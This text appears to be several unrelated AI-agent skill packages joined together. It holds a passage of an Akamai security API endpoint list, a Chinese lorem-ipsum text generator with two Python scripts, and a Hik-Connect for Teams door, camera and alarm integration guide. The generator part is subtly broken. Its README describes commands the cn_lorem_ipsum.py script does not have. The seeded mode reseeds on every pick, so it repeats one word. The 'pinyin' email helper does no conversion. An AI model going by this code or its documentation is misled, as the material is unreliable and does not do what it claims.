- "List all rules?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules
- "List all upgrade-details?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules/upgrade-details
- "Get rule details?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules/{ruleId}
- "Update a rule?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules/{ruleId}
- "List all condition-exception?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules/{ruleId}/condition-exception
- "List all selected-hostnames?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/selected-hostnames
- "List all slow-post?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/slow-post
- "List all threat-intel?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/threat-intel
- "List all url-protections?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/url-protections
- "Update a url-protection?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/url-protections/{urlProtectionPolicyId}
- "List all ruleset?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/web-application-firewall/ruleset
- "List all selectable-hostnames?" -> GET /configs/{configId}/versions/{versionNumber}/selectable-hostnames
- "List all selected-hostnames?" -> GET /configs/{configId}/versions/{versionNumber}/selected-hostnames
- "List all eval-hostnames?" -> GET /configs/{configId}/versions/{versionNumber}/selected-hostnames/eval-hostnames
- "List all siem?" -> GET /configs/{configId}/versions/{versionNumber}/siem
- "Create a url-protection?" -> POST /configs/{configId}/versions/{versionNumber}/url-protections
- "List all url-protections?" -> GET /configs/{configId}/versions/{versionNumber}/url-protections
- "Get url-protection details?" -> GET /configs/{configId}/versions/{versionNumber}/url-protections/{urlProtectionPolicyId}
- "Update a url-protection?" -> PUT /configs/{configId}/versions/{versionNumber}/url-protections/{urlProtectionPolicyId}
- "Delete a url-protection?" -> DELETE /configs/{configId}/versions/{versionNumber}/url-protections/{urlProtectionPolicyId}
- "List all version-notes?" -> GET /configs/{configId}/versions/{versionNumber}/version-notes
- "List all contracts-groups?" -> GET /contracts-groups
- "List all selectable-hostnames?" -> GET /contracts/{contractId}/groups/{groupId}/selectable-hostnames
- "List all cves?" -> GET /cves
- "Create a subscribe?" -> POST /cves/subscribe
- "List all subscribed?" -> GET /cves/subscribed
- "Create a unsubscribe?" -> POST /cves/unsubscribe
- "Get cve details?" -> GET /cves/{cveId}
- "List all security-coverage?" -> GET /cves/{cveId}/security-coverage
- "Get version details?" -> GET /export/configs/{configId}/versions/{versionNumber}
- "List all hostname-coverage?" -> GET /hostname-coverage
- "Create a onboarding?" -> POST /onboardings
- "List all onboardings?" -> GET /onboardings
- "Get onboarding details?" -> GET /onboardings/{onboardingId}
- "Delete a onboarding?" -> DELETE /onboardings/{onboardingId}
- "Create a activation?" -> POST /onboardings/{onboardingId}/activations
- "Get activation details?" -> GET /onboardings/{onboardingId}/activations/{activationId}
- "List all certificate-validation?" -> GET /onboardings/{onboardingId}/certificate-validation
- "Create a validate?" -> POST /onboardings/{onboardingId}/certificate-validation/validate
- "List all cname-to-akamai?" -> GET /onboardings/{onboardingId}/cname-to-akamai
- "Create a validate?" -> POST /onboardings/{onboardingId}/cname-to-akamai/validate
- "List all domain-validation?" -> GET /onboardings/{onboardingId}/domain-validation
- "Create a validate?" -> POST /onboardings/{onboardingId}/domain-validation/validate
- "List all origin-validation?" -> GET /onboardings/{onboardingId}/origin-validation
- "Create a skip?" -> POST /onboardings/{onboardingId}/origin-validation/skip
- "Create a validate?" -> POST /onboardings/{onboardingId}/origin-validation/validate
- "List all settings?" -> GET /onboardings/{onboardingId}/settings
- "List all siem-definitions?" -> GET /siem-definitions
## Response Tips
- Check response schemas in references/api-spec.lap for field details
- List endpoints may support pagination; check for limit, offset, or cursor params
- Create/update endpoints typically return the created/updated object
- Error responses use types: [Conflict](https, [Forbidden](https, [Invalid](https, [Unauthorized](https
## CLI
```bash
# Update this spec to the latest version
npx @lap-platform/lapsh get akamai-application-security-api -o references/api-spec.lap
# Search for related APIs
npx @lap-platform/lapsh search akamai-application-security-api
```
## References
- Full spec: See references/api-spec.lap for complete endpoint details, parameter tables, and response schemas
> Generated from the official API spec by [LAP](https://lap.sh)
生成指定数量的随机单词、句子或段落,支持中英文模式及安全随机或固定种子复现。
# cn-lorem-ipsum - 随机文本生成器
纯 Python 标准库实现的 Lorem Ipsum 随机文本生成工具。
## 功能
- **单词生成**:生成指定数量的随机单词
- **句子生成**:生成指定数量的完整句子
- **段落生成**:生成指定数量的段落
- **固定种子**:支持 `secrets` 模块随机种子(安全随机)
## 使用方式
```bash
# 生成 10 个随机单词
python3 cn_lorem_ipsum.py words 10
# 生成 5 个完整句子
python3 cn_lorem_ipsum.py sentences 5
# 生成 3 个段落
python3 cn_lorem_ipsum.py paragraphs 3
# 指定种子(可复现)
python3 cn_lorem_ipsum.py words 20 --seed 42
# 指定最小/最大单词数
python3 cn_lorem_ipsum.py words 50 --min 3 --max 12
# 中文模式(中文占位文本)
python3 cn_lorem_ipsum.py words 10 --lang zh
```
## 技术说明
- 纯 Python 标准库(`secrets`、`argparse`、`random`)
- 默认使用 `secrets.choice` 作为随机源(安全随机)
- 可选 `random` 配合种子实现可复现结果
- 支持中英文占位文本
FILE:scripts/cn_lorem_ipsum.py
#!/usr/bin/env python3
"""
cn-lorem-ipsum - 占位文本生成器
生成随机中文/英文文本、姓名、手机号、邮箱
"""
import random
import argparse
# 中文字符库
CN_CHARS = '的一是在不了有和人这中大为上个国我以要他时来用们生到作地于出就分对成会可主发年动同工也能下过子说产种面而方后多定行学法所民得经十三之进着等部度家电力里如水化高自二理起小物现实加量都两体制机当使点从业本去把性好应开它合还因由其些然前外天政四日那社义事平形相全表间样与关各重新线内数正心反你明看原又么利比或但质气第向道命此变条只没结解问意建月公无系军很情者最立代想已通并提直题党程展五果料象员革位入常文总次品式活设及管特件长求老头基资边流路级少图山统接知较将组见计别她手角期根论运农指几九区强放决西被干做必战先回则任取据处队南给色光门即保治北造百规热领七海口东导器压志世金增争济阶油思术极交受联什认六共权收证改清己美再采转更单风切打白教速花带安场身车例真务具万每目至达走积示议声报斗完类八离华名确才科张信马节话米整空元况今集温传土许步群广石记需段研界拉林律叫且究观越织装影算低持音众书布复容儿须际商非验连断深难近矿千周委素技备半办青省列习响约支般史感劳便团往酸历市克何除消构府称太准精值号率族维划选标写存候毛亲快效斯院查江型眼王按格养易置派层片始却专状育厂京识适属圆包火住调满县局照参红细引听该铁价严龙飞'
# 常用词库
CN_WORDS = [
'公司', '项目', '用户', '产品', '服务', '系统', '数据', '功能', '模块', '接口',
'开发', '设计', '测试', '部署', '配置', '优化', '问题', '解决', '方案', '策略',
'技术', '工具', '平台', '应用', '网站', 'APP', '小程序', '服务器', '数据库',
'网络', '安全', '性能', '效率', '质量', '管理', '团队', '合作', '沟通', '需求',
'分析', '研究', '学习', '经验', '分享', '总结', '文档', '报告', '会议', '讨论',
'市场', '运营', '推广', '营销', '品牌', '客户', '业务', '收入', '利润', '成本',
'发展', '创新', '趋势', '未来', '机会', '挑战', '竞争', '优势', '劣势', '策略',
]
# 英文单词库
EN_WORDS = [
'lorem', 'ipsum', 'dolor', 'sit', 'amet', 'consectetur', 'adipiscing', 'elit',
'sed', 'do', 'eiusmod', 'tempor', 'incididunt', 'ut', 'labore', 'et', 'dolore',
'magna', 'aliqua', 'enim', 'ad', 'minim', 'veniam', 'quis', 'nostrud',
'exercitation', 'ullamco', 'laboris', 'nisi', 'aliquip', 'ex', 'ea', 'commodo',
'consequat', 'duis', 'aute', 'irure', 'in', 'reprehenderit', 'voluptate',
'velit', 'esse', 'cillum', 'fugiat', 'nulla', 'pariatur', 'excepteur', 'sint',
'occaecat', 'cupidatat', 'non', 'proident', 'sunt', 'culpa', 'qui', 'officia',
'deserunt', 'mollit', 'anim', 'id', 'est', 'laborum', 'the', 'quick', 'brown',
'fox', 'jumps', 'over', 'lazy', 'dog', 'hello', 'world', 'test', 'example',
]
# 姓氏
CN_SURNAMES = ['王', '李', '张', '刘', '陈', '杨', '赵', '黄', '周', '吴', '徐', '孙', '胡', '朱', '高', '林', '何', '郭', '马', '罗', '梁', '宋', '郑', '谢', '韩', '唐', '冯', '于', '董', '萧', '程', '曹', '袁', '邓', '许', '傅', '沈', '曾', '彭', '吕']
# 名字
CN_GIVEN_NAMES = ['伟', '芳', '娜', '秀', '敏', '静', '丽', '强', '磊', '军', '洋', '勇', '艳', '杰', '娟', '涛', '明', '超', '秀', '霞', '平', '刚', '桂英', '建华', '建国', '志强', '永强', '晓东', '晓峰', '晓华', '晓明']
# 邮箱域名
EMAIL_DOMAINS = ['gmail.com', 'qq.com', '163.com', '126.com', 'outlook.com', 'hotmail.com', 'sina.com', 'sohu.com', 'foxmail.com']
def generate_cn_paragraph(words=50):
"""生成中文段落"""
result = []
for _ in range(words):
# 随机选择词汇
phrase = ''.join(random.choices(CN_WORDS, k=random.randint(2, 6)))
result.append(phrase)
return ''.join(result)
def generate_en_paragraph(words=50):
"""生成英文段落"""
result = random.choices(EN_WORDS, k=words)
# 首字母大写
result[0] = result[0].capitalize()
return ' '.join(result)
def generate_cn_name():
"""生成中文姓名"""
surname = random.choice(CN_SURNAMES)
given = ''.join(random.choices(CN_GIVEN_NAMES, k=2))
return surname + given
def generate_phone():
"""生成中国手机号"""
prefixes = ['130', '131', '132', '133', '134', '135', '136', '137', '138', '139',
'150', '151', '152', '153', '155', '156', '157', '158', '159',
'180', '181', '182', '183', '184', '185', '186', '187', '188', '189',
'198', '199']
prefix = random.choice(prefixes)
suffix = ''.join([str(random.randint(0, 9)) for _ in range(8)])
return prefix + suffix
def generate_email(name=None):
"""生成邮箱"""
if not name:
name = generate_cn_name()
# 转换姓名为拼音
name_pinyin = ''.join(c for c in name if '\u4e00' <= c <= '\u9fff')
if not name_pinyin:
name_pinyin = 'user'
domain = random.choice(EMAIL_DOMAINS)
patterns = [
name_pinyin,
name_pinyin + str(random.randint(1, 999)),
name_pinyin[0] + str(random.randint(10, 99)),
]
return random.choice(patterns).lower() + '@' + domain
def main():
parser = argparse.ArgumentParser(description='占位文本生成器')
parser.add_argument('--cn', action='store_true', help='生成中文文本')
parser.add_argument('--en', action='store_true', help='生成英文文本')
parser.add_argument('--name', action='store_true', help='生成中文姓名')
parser.add_argument('--phone', action='store_true', help='生成手机号')
parser.add_argument('--email', action='store_true', help='生成邮箱')
parser.add_argument('--count', type=int, default=1, help='生成数量')
parser.add_argument('--words', type=int, default=50, help='英文单词数')
parser.add_argument('--paragraphs', type=int, default=1, help='段落数')
args = parser.parse_args()
# 如果没有任何参数,默认生成中文
if not any([args.cn, args.en, args.name, args.phone, args.email]):
args.cn = True
for i in range(args.count):
if args.cn:
for _ in range(args.paragraphs):
print(generate_cn_paragraph(args.words))
if args.count > 1 and i < args.count - 1:
print()
if args.en:
for _ in range(args.paragraphs):
print(generate_en_paragraph(args.words))
if args.count > 1 and i < args.count - 1:
print()
if args.name:
print(generate_cn_name())
if args.phone:
print(generate_phone())
if args.email:
print(generate_email())
if args.count > 1 and i < args.count - 1:
if not (args.cn or args.en):
print('---')
if __name__ == '__main__':
main()
FILE:scripts/lorem_ipsum.py
#!/usr/bin/env python3
"""
随机文本生成器
纯 Python 标准库实现
"""
import secrets
import argparse
import random
import sys
# Lorem Ipsum 英文单词库
ENGLISH_WORDS = [
'lorem', 'ipsum', 'dolor', 'sit', 'amet', 'consectetur', 'adipiscing',
'elit', 'sed', 'do', 'eiusmod', 'tempor', 'incididunt', 'ut', 'labore',
'et', 'dolore', 'magna', 'aliqua', 'enim', 'ad', 'minim', 'veniam',
'quis', 'nostrud', 'exercitation', 'ullamco', 'laboris', 'nisi',
'aliquip', 'ex', 'ea', 'commodo', 'consequat', 'duis', 'aute', 'irure',
'in', 'reprehenderit', 'voluptate', 'velit', 'esse', 'cillum', 'fugiat',
'nulla', 'pariatur', 'excepteur', 'sint', 'occaecat', 'cupidatat',
'non', 'proident', 'sunt', 'culpa', 'qui', 'officia', 'deserunt',
'mollit', 'anim', 'id', 'est', 'laborum', 'accumsan', 'bibendum',
'erat', 'volutpat', 'nam', 'mi', 'pretium', 'risus', 'tristique',
'senectus', 'netus', 'malesuada', 'fames', 'turpis', 'egestas',
'proin', 'sagittis', 'nisl', 'rhoncus', 'mattis', 'purus', 'enim',
]
# 中文占位文本
CHINESE_WORDS = [
'的', '是', '了', '在', '和', '与', '以及', '或者', '还是',
'但是', '然而', '因为', '所以', '如果', '虽然', '虽然说',
'这个', '那个', '一个', '一些', '可以', '能够', '应该',
'必须', '需要', '要求', '希望', '想要', '觉得', '认为',
'可能', '也许', '大概', '应该', '必须', '一定', '必然',
]
def secure_choice(sequence):
"""使用 secrets 模块安全随机选择"""
return secrets.choice(sequence)
def random_choice(sequence, seed=None):
"""使用 random 模块随机选择(可选种子)"""
if seed is not None:
random.seed(seed)
return random.choice(sequence)
def generate_words(count: int, lang: str = 'en', use_seed: bool = False, seed: int = None) -> list:
"""生成随机单词列表"""
word_list = ENGLISH_WORDS if lang == 'en' else CHINESE_WORDS
result = []
for _ in range(count):
if use_seed:
result.append(random_choice(word_list, seed))
else:
result.append(secure_choice(word_list))
return result
def generate_sentences(count: int, lang: str = 'en', use_seed: bool = False, seed: int = None,
min_words: int = 5, max_words: int = 15) -> list:
"""生成完整句子"""
sentences = []
for _ in range(count):
word_count = random.randint(min_words, max_words) if use_seed else secrets.randbelow(max_words - min_words + 1) + min_words
words = generate_words(word_count, lang, use_seed, seed)
if lang == 'en':
sentences.append(' '.join(words).capitalize() + '.')
else:
sentences.append(''.join(words) + '。')
return sentences
def generate_paragraphs(count: int, lang: str = 'en', use_seed: bool = False, seed: int = None,
min_sentences: int = 3, max_sentences: int = 8) -> list:
"""生成段落"""
paragraphs = []
for _ in range(count):
sentence_count = random.randint(min_sentences, max_sentences) if use_seed else secrets.randbelow(max_sentences - min_sentences + 1) + min_sentences
sentences = generate_sentences(sentence_count, lang, use_seed, seed)
paragraphs.append(' '.join(sentences))
return paragraphs
def main():
parser = argparse.ArgumentParser(
description='随机文本生成器',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
示例:
%(prog)s words 10 生成 10 个随机单词
%(prog)s sentences 5 生成 5 个完整句子
%(prog)s paragraphs 3 生成 3 个段落
%(prog)s words 20 --seed 42 使用固定种子
%(prog)s words 10 --lang zh 中文模式
'''
)
subparsers = parser.add_subparsers(dest='command', help='子命令')
# words
p_words = subparsers.add_parser('words', help='生成随机单词')
p_words.add_argument('count', type=int, help='单词数量')
p_words.add_argument('--seed', type=int, help='随机种子(用于复现)')
p_words.add_argument('--lang', choices=['en', 'zh'], default='en', help='语言')
# sentences
p_sentences = subparsers.add_parser('sentences', help='生成随机句子')
p_sentences.add_argument('count', type=int, help='句子数量')
p_sentences.add_argument('--seed', type=int, help='随机种子(用于复现)')
p_sentences.add_argument('--lang', choices=['en', 'zh'], default='en', help='语言')
p_sentences.add_argument('--min', type=int, default=5, help='每句最少单词数')
p_sentences.add_argument('--max', type=int, default=15, help='每句最多单词数')
# paragraphs
p_paragraphs = subparsers.add_parser('paragraphs', help='生成随机段落')
p_paragraphs.add_argument('count', type=int, help='段落数量')
p_paragraphs.add_argument('--seed', type=int, help='随机种子(用于复现)')
p_paragraphs.add_argument('--lang', choices=['en', 'zh'], default='en', help='语言')
p_paragraphs.add_argument('--min-sentences', type=int, default=3, help='每段最少句子数')
p_paragraphs.add_argument('--max-sentences', type=int, default=8, help='每段最多句子数')
args = parser.parse_args()
if args.command == 'words':
use_seed = args.seed is not None
words = generate_words(args.count, args.lang, use_seed, args.seed)
print(' '.join(words))
elif args.command == 'sentences':
use_seed = args.seed is not None
sentences = generate_sentences(args.count, args.lang, use_seed, args.seed,
args.min, args.max)
print('\n'.join(sentences))
elif args.command == 'paragraphs':
use_seed = args.seed is not None
paragraphs = generate_paragraphs(args.count, args.lang, use_seed, args.seed,
args.min_sentences, args.max_sentences)
print('\n\n'.join(paragraphs))
else:
parser.print_help()
sys.exit(1)
if __name__ == '__main__':
main()
Hik-Connect for Teams (HCT) Developer Skills. Integrates a series of skills for managing and controlling HCT devices, including resource management, access c...
---
name: hik-connect-team Skills
description: |
Hik-Connect for Teams (HCT) Developer Skills.
Integrates a series of skills for managing and controlling HCT devices, including resource management, access control, device capture, video streaming, and alarm push.
Use when: Need to perform batch management, remote control, real-time monitoring, media resource acquisition, or alarm push configuration for devices under Hik-Connect for Teams mode.
⚠️ Global Requirement: All sub-modules require configuration of environment variables:
- Hik-Connect Team OpenAPI AppKey
- Hik-Connect Team OpenAPI SecretKey
- Hik-Connect Team OpenAPI Domain (auto-obtained from token response)
---
# Hik-Connect Team Skills
## 1. Introduction
`Hik-Connect_Team_Skills` is a full-featured integration Skills designed specifically for **Hik-Connect for Teams (HCT)** developers. Based on the **HCTOpen OpenAPI** system, it encapsulates core capabilities from basic resource management to advanced alarm push through Python scripts.
This Skills adopts a modular design with built-in automated **Token maintenance mechanisms**, **dynamic path searching**, and **standardized error handling**, aiming to help developers quickly build HCT-based automated O&M, security monitoring, and business integration systems.
---
## 2. Core Modules Deep Dive
This Skills consists of five core sub-modules, each providing deep support for specific business scenarios:
| Module Name | Core Functions | Core Scripts | Applicable Scenarios |
|:---------------------------------------------------------------------------|:----------------------------------------------------------|:-----------------------------------------------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------|
| [**📦 Resource Management**](./modules/Hik-Connect_Team_Resource/SKILL.md) | Device discovery, detail acquisition, channel enumeration | `list_devices.py`<br>`device_detail.py`<br>`device_channels.py`<br>`list_doors.py` | Asset inventory, obtaining device serial numbers and channel IDs, access control resources, synchronizing organizational structure resources. |
| [**🚪 Access Control (ACS)**](./modules/Hik-Connect_Team_ACS/SKILL.md) | Remote open/close, normally open/normally closed control | `acs_control.py` | Remote office collaboration, unattended entrance management, access control linkage in emergencies. |
| [**📸 Device Capture**](./modules/Hik-Connect_Team_Capture/SKILL.md) | Real-time trigger capture, obtain image URL | `capture_pic.py` | Anomaly verification, real-time screen preview, manual secondary verification of AI recognition results. |
| [**🎥 Video Streaming**](./modules/Hik-Connect_Team_Video/SKILL.md) | Obtain real-time video stream | `get_video_url.py` | Real-time monitoring embedding, remote video inspection, third-party monitoring large screen integration. |
| [**🔔 Alarm Push (Alarm)**](./modules/Hik-Connect_Team_Alarm/SKILL.md) | Webhook subscription, fine-grained event management | `webhook_manager.py`<br>`event_manager.py` | Real-time alarm notification, third-party system integration (e.g., Feishu/DingTalk robots). |
---
## 3. Environment Preparation and Global Configuration
### 3.1 Credential Configuration
Before using any module, credentials must be configured. The system supports two methods:
#### Method A: Environment Variables (Recommended)
```bash
# Required: Obtain from Hik-Connect HCT Developer Platform
export HIK_CONNECT_TEAM_OPENAPI_APP_KEY="Your Hik-Connect Team OpenAPI AppKey"
export HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY="Your Hik-Connect Team OpenAPI SecretKey"
# Note: API domain is automatically obtained from token response (no longer required)
# Optional: Token cache configuration (enabled by default to reduce API call frequency)
export HIK_CONNECT_TEAM_TOKEN_CACHE="1" # 1=Enabled, 0=Disabled
```
#### Method B: OpenClaw Config Files (Fallback)
If environment variables are not set, the system will automatically search for credentials in OpenClaw config files:
```
Config search order (first found wins):
1. ~/.openclaw/config.json
2. ~/.openclaw/gateway/config.json
3. ~/.openclaw/channels.json
```
Config format:
```json
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "Your Hik-Connect Team OpenAPI AppKey",
"secretKey": "Your Hik-Connect Team OpenAPI SecretKey",
"enabled": true
}
}
}
```
**Recommended: Save to `~/.openclaw/channels.json`** — This is the dedicated file for channel credentials.
**⚠️ Security Note**: Storing credentials in config files is convenient but introduces some risk. Environment variables are recommended for better security.
### 3.2 Dependency Installation
This Skills is developed based on Python 3.8+. It is recommended to install necessary dependencies using the following command:
```bash
pip3 install requests tabulate pycryptodome Pillow
```
---
## 🔒 Config File Reading Details
**Credential Priority** (Highest to Lowest):
```
┌─────────────────────────────────────────────────────────────┐
│ 1. Environment Variables (Highest Priority - Recommended) │
│ ├─ HIK_CONNECT_TEAM_OPENAPI_APP_KEY │
│ └─ HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY │
│ ✅ Advantage: No config file reading, fully isolated │
├─────────────────────────────────────────────────────────────┤
│ 2. OpenClaw Config Files (Only when env vars not set) │
│ ├─ ~/.openclaw/config.json │
│ ├─ ~/.openclaw/gateway/config.json │
│ └─ ~/.openclaw/channels.json │
│ ⚠️ Note: Only reads channels.hik_connect_team_openapi field │
├─────────────────────────────────────────────────────────────┤
```
## 4. Directory Structure Description
```text
Hik-Connect_Team_Skills/
├── SKILL.md # This guide file (Full-featured integration guide)
├── lib/ # Core library
│ └── token_manager.py # Encapsulates HCTOpenClient base class, handles Token refresh, request retries, and path searching
└── modules/ # Functional sub-modules
├── Hik-Connect_Team_Resource/ # Resource Management: Devices, channels, details
├── Hik-Connect_Team_ACS/ # Access Control: Open/close, normally open/normally closed
├── Hik-Connect_Team_Capture/ # Device Capture: Real-time trigger, URL acquisition
├── Hik-Connect_Team_Video/ # Video Streaming: Real-time preview address acquisition
└── Hik-Connect_Team_Alarm/ # Alarm Push: Webhook management, event subscription
```
---
## 5. Security and Best Practices
1. **Token Security**: The Skills automatically caches Tokens locally. Please ensure the security of the running environment to prevent unauthorized reading of cache files in the `lib/` directory.
2. **HTTPS Mandatory Requirement**: All Webhook callbacks from the HCT platform must use HTTPS. It is recommended to use `ngrok` or `cpolar` with SSL certificates for secure access.
3. **Signature Verification**: In the Alarm module, be sure to configure `signSecret` and implement HMAC-SHA256 signature verification on your receiving end to prevent forged alarm pushes.
4. **Error Handling**: All scripts return standard JSON format. If `success` is `false`, please check the `message` field for detailed error reasons.
---
FILE:README.md
# Hik-Connect Team (HCT) Skills
Welcome to the **Hik-Connect Team (HCT) Skills**. This is a comprehensive developer skill set designed for **Hik-Connect for Teams (HCT)**, providing a modular and efficient way to manage and control HCT devices through the **HCTOpen OpenAPI** system.
## 🌟 Overview
The HCT Skills empowers developers to integrate professional security and management features into their own applications or automated workflows. It handles the complexities of authentication, token management, and standardized communication with Hikvision's cloud services.
### Key Features
- **Resource Management**: Discover devices, get details, and enumerate channels.
- **Access Control (ACS)**: Remotely open/close doors and manage access states.
- **Real-time Capture**: Trigger and retrieve live snapshots from cameras.
- **Video Streaming**: Generate secure, time-limited URLs for live video previews.
- **Alarm Management**: Subscribe to events and receive real-time notifications via Webhooks.
---
## 🛠 Modules & Capabilities
The Skills is divided into specialized modules, each with its own dedicated scripts and documentation:
| Module | Description | Key Scripts |
|:----------------------------------------------------------------|:----------------------------|:-------------------------------------------------------|
| [**📦 Resource**](./modules/Hik-Connect_Team_Resource/SKILL.md) | Manage your asset inventory | `list_devices.py`, `device_detail.py`, `list_doors.py` |
| [**🚪 ACS**](./modules/Hik-Connect_Team_ACS/SKILL.md) | Remote door control | `acs_control.py` |
| [**📸 Capture**](./modules/Hik-Connect_Team_Capture/SKILL.md) | Instant image snapshots | `capture_pic.py` |
| [**🎥 Video**](./modules/Hik-Connect_Team_Video/SKILL.md) | Live stream URL generation | `get_video_url.py` |
| [**🔔 Alarm**](./modules/Hik-Connect_Team_Alarm/SKILL.md) | Webhook & Event management | `webhook_manager.py`, `event_manager.py` |
---
## 🚀 Getting Started
### 1. Prerequisites
- **Python 3.8+**
- **Node.js** (Required only for the Alarm/Webhook service)
- **HCT Developer Credentials**: You must have `HIK_CONNECT_TEAM_OPENAPI_APP_KEY` and `HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY` from the Hik-Connect HCT Developer Platform. The API domain will be automatically obtained from the token response.
### 2. Installation
Install the required Python dependencies:
```bash
pip3 install requests tabulate pycryptodome Pillow
```
### 3. Configuration
**Credentials only need to be configured ONCE. The system will automatically find and use them.**
#### Method A: Environment Variables (Recommended)
Set in your shell profile or before running scripts:
```bash
export HIK_CONNECT_TEAM_OPENAPI_APP_KEY="Your Hik-Connect Team OpenAPI AppKey"
export HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY="Your Hik-Connect Team OpenAPI SecretKey"
```
#### Method B: OpenClaw Config Files (Fallback)
If environment variables are not set, the system will automatically search for credentials in OpenClaw config files:
```
Config search order (first found wins):
1. ~/.openclaw/config.json
2. ~/.openclaw/gateway/config.json
3. ~/.openclaw/channels.json ⭐ Recommended
```
Config format:
```json
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "Your Hik-Connect Team OpenAPI AppKey",
"secretKey": "Your Hik-Connect Team OpenAPI SecretKey",
"enabled": true
}
}
}
```
**Note**: API domain is automatically obtained from token response.
---
## 🔒 Credential Priority
**The skill obtains credentials in the following order (highest to lowest priority):**
```
┌─────────────────────────────────────────────────────────────┐
│ 1. Environment Variables (Highest Priority - Recommended) │
│ ├─ HIK_CONNECT_TEAM_OPENAPI_APP_KEY │
│ └─ HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY │
│ ✅ Advantage: No config file reading, fully isolated │
├─────────────────────────────────────────────────────────────┤
│ 2. OpenClaw Config Files (Only when env vars not set) │
│ ├─ ~/.openclaw/config.json │
│ ├─ ~/.openclaw/gateway/config.json │
│ └─ ~/.openclaw/channels.json │
│ ⚠️ Note: Only reads channels.hik_connect_team_openapi field │
├─────────────────────────────────────────────────────────────┤
│ 3. Error Handling (When no valid credentials) │
│ Program exits with error message │
└─────────────────────────────────────────────────────────────┘
```
---
## 💡 Usage Examples
### Example 1: List All Devices
```bash
cd "Hik-Connect Team Skills/modules/Hik-Connect_Team_Resource/scripts"
python list_devices.py
```
### Example 2: Remote Door Opening
```bash
cd "Hik-Connect Team Skills/modules/Hik-Connect_Team_ACS/scripts"
python acs_control.py --action-type 1 --element-list "your_door_resource_id"
```
### Example 3: Capture Device Image
```bash
cd "Hik-Connect Team Skills/modules/Hik-Connect_Team_Capture/scripts"
python capture_pic.py DEVICE_SERIAL
```
### Example 4: Get a Live Video Stream
```bash
cd "Hik-Connect Team Skills/modules/Hik-Connect_Team_Video/scripts"
python get_video_url.py --device-serial "SERIAL123" --resource-id "RES_ID_456"
```
### Example 5: Setting Up Alarms
The Alarm module requires a **public HTTPS URL** to receive webhook pushes from HCT platform.
#### Option A — Same Server as OpenClaw (Simplest)
1. Configure reverse proxy to route `/hikvision/webhook` to `127.0.0.1:3090`
2. Start Webhook server: `node modules/Hik-Connect_Team_Alarm/scripts/server.js`
3. Register URL: `python modules/Hik-Connect_Team_Alarm/scripts/webhook_manager.py save --url "https://your-domain.com/hikvision/webhook" --secret "your_secret"`
4. Subscribe: `python modules/Hik-Connect_Team_Alarm/scripts/event_manager.py subscribe`
#### Option B — Use a Tunnel Tool (ngrok/cpolar)
1. Run `ngrok http 3090` on OpenClaw server
2. Copy the tunnel URL
3. Start Webhook server and register the tunnel URL
> **Note**: Tunnel URLs change on restart for free tiers — you must re-register the Webhook after each restart.
#### Option C — Different Server with Public URL
If you have a separate public server and OpenClaw's port 3090 is reachable from it:
1. On your server, configure a reverse proxy to forward `/hikvision/webhook` to `<OpenClaw_SERVER_IP>:3090`
2. Start the Webhook server on OpenClaw server: `node modules/Hik-Connect_Team_Alarm/scripts/server.js`
3. Register your public URL: `python modules/Hik-Connect_Team_Alarm/scripts/webhook_manager.py save --url "https://your-domain.com/hikvision/webhook" --secret "your_secret"`
4. Subscribe to events: `python modules/Hik-Connect_Team_Alarm/scripts/event_manager.py subscribe`
> **⚠️ Third-party webhook receiver services (Pipedream, AWS Lambda URL, etc.) are NOT recommended** — they only receive requests, they cannot forward to your internal OpenClaw server.
### About Alarm Message Format
When alarm messages are pushed to OpenClaw, the AI agent may inherently attempt to translate, summarize, or reformat the raw data. This behavior is difficult to completely avoid.
**If you need a specific alarm message format:**
- Explicitly instruct the AI agent: "Do not process/modify/summarize the alarm data, return it as-is"
- If the format is still not ideal, directly tell the AI your preferred format (e.g., "Show alarm messages in a table", "Use the raw JSON format", etc.)
The raw alarm data from HCT platform contains complete information — the AI's processing is optional and can be overridden by your instructions.
---
## 🔒 Security Recommendations
### 1. Use Minimal Permission Credentials
- Create dedicated `HIK_CONNECT_TEAM_OPENAPI_APP_KEY`/`HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY` with only necessary API permissions
- Do not use main account credentials
- Rotate credentials regularly (recommended every 90 days)
### 2. Environment Variable Security
```bash
# Recommended: Use .env file (do not commit to version control)
echo "HIK_CONNECT_TEAM_OPENAPI_APP_KEY=your_key" >> .env
echo "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY=your_secret" >> .env
chmod 600 .env
# Load environment variables
source .env
```
### 3. Disable Token Caching (High Security)
```bash
export HIK_CONNECT_TEAM_TOKEN_CACHE=0
python3 scripts/xxx.py ...
```
### 4. Regular Cache Cleanup
```bash
# Clear all cached Tokens
rm -rf /tmp/hctopen_global_token_cache/
```
### 5. Config File Scanning
The skill reads Hikvision configuration from (only when env vars not set):
```
~/.openclaw/config.json
~/.openclaw/gateway/config.json
~/.openclaw/channels.json
```
**Config Format**:
```json
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "Your Hik-Connect Team OpenAPI AppKey",
"secretKey": "Your Hik-Connect Team OpenAPI SecretKey",
"enabled": true
}
}
}
```
**Security Recommendations**:
- ✅ Use dedicated Hikvision credentials, do not share with other services
- ✅ Set environment variables to override config file scanning if needed
- ✅ Regularly review credential permissions in config files
- ❌ Do not store main account credentials in config files
---
## ✅ Security Audit Checklist
### Pre-Installation Checks
- [ ] **Review Code** — Read `lib/token_manager.py` and module scripts
